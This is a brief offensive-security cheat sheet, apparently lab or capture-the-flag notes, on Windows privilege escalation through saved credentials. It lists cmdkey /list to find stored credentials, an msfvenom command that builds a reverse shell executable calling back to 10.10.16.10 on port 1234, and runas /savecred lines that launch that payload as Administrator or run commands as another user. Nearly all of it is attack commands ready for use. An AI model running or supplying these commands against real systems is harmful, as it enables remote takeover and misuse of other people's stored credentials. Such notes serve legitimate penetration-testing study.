Enum terminal credentials

cmdkey /list

If you found saved cred

Transfer it to the target machine Create a reverse shell payload:

msfvenom -p windows/x64/shell_reverse_tcp lhost=10.10.16.10 lport=1234 -f exe -o shell.exe

Run commands as a another user:

runas /savecred /user:ACCESS\Administrator "C:\Users\security\shell.exe"

						OR

runas /savecred /user:inlanefreight\bob "whoami"